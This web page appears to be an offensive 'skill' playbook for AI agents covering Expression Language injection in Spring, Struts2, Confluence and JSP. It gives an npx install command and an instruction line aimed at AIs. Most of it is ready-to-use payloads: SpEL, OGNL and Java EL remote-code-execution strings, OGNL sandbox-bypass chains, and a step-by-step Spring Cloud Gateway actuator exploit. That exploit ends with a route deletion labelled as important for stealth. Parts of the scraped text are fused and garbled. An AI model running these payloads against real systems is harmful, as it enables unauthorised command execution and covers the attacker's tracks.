Loading...
Loading...
Expression Language injection playbook. Use when Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or similar frameworks.
npx skill4agent add yaklang/hack-skills expression-language-injectionAI LOAD INSTRUCTION: Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI — EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass,manipulation, actuator abuse, and real-world CVE chains._memberAccess
${7*7}${7*7} → 49 = SpEL, OGNL, or Java EL
#{7*7} → 49 = SpEL (alternative syntax) or JSF EL
%{7*7} → 49 = OGNL (Struts2)
${T(java.lang.Math).random()} → random float = SpEL confirmed
%{#context} → object dump = OGNL confirmedResponse to | Response to | Engine |
|---|---|---|
| 49 | literal | SpEL or Java EL |
literal | 49 | OGNL (Struts2) |
| 49 | 49 | Both may be active |
@Value("${...}")@PreAuthorizeth:text="${...}"__${...}__@Query${T(java.lang.Runtime).getRuntime().exec("id")}${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}${new java.lang.ProcessBuilder(new String[]{"id"}).start()}# Step 1: Add route with SpEL in filter (with output capture)
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
}
}],
"uri": "http://example.com",
"predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}
# Step 2: Refresh routes to apply
POST /actuator/gateway/refresh
# Step 3: Trigger the route
GET /hackpath
# Response header "Result" contains command output
# Step 4: Clean up (important for stealth)
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refreshSimpleEvaluationContextT()// Try reflection-based bypass:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}ognl.Ognl.getValue()ognl.Ognl.setValue()%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}SecurityMemberAccess%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}excludedClassesexcludedPackageNames%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}| CVE | Vector | Payload Location |
|---|---|---|
| S2-045 (CVE-2017-5638) | Content-Type header | |
| S2-046 (CVE-2017-5638) | Multipart filename | OGNL in upload filename |
| S2-016 (CVE-2013-2251) | | URL parameter |
| S2-048 (CVE-2017-9791) | Struts Showcase | ActionMessage with OGNL |
| S2-057 (CVE-2018-11776) | Namespace OGNL | URL path |
queryStringPOST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded
queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL-decoded: \u0027+{3*3}+\u0027
# If response contains 9 → confirmed
# Escalate to Runtime.exec for RCE${expression}#{expression}// Java EL with Runtime:
${Runtime.getRuntime().exec("id")}
// Via pageContext (JSP):
${pageContext.request.getServletContext().getClassLoader()}
// Reflection-based:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}Input reflected and ${7*7} returns 49?
├── Java application?
│ ├── Struts2? → Try %{...} OGNL payloads
│ │ └── Check Content-Type injection (S2-045)
│ ├── Spring? → Try T(java.lang.Runtime) SpEL
│ │ └── Check /actuator/gateway (Spring Cloud Gateway)
│ ├── Confluence? → Try OGNL via action parameters
│ └── JSP/JSF? → Try Java EL payloads
│
├── Error messages reveal framework?
│ ├── "ognl.OgnlException" → OGNL
│ ├── "SpelEvaluationException" → SpEL
│ └── "javax.el.ELException" → Java EL
│
└── Blocked by sandbox?
├── OGNL: clear _memberAccess / excludedClasses
├── SpEL: reflection bypass for SimpleEvaluationContext
└── Try alternative exec methods (ProcessBuilder, ScriptEngine)# SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}
# OGNL RCE (Struts2):
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
# OGNL with sandbox bypass:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
# Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
# Confluence CVE-2021-26084 probe:
queryString=\u0027%2b{3*3}%2b\u0027
# Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x → SpEL in filter args
POST /actuator/gateway/refresh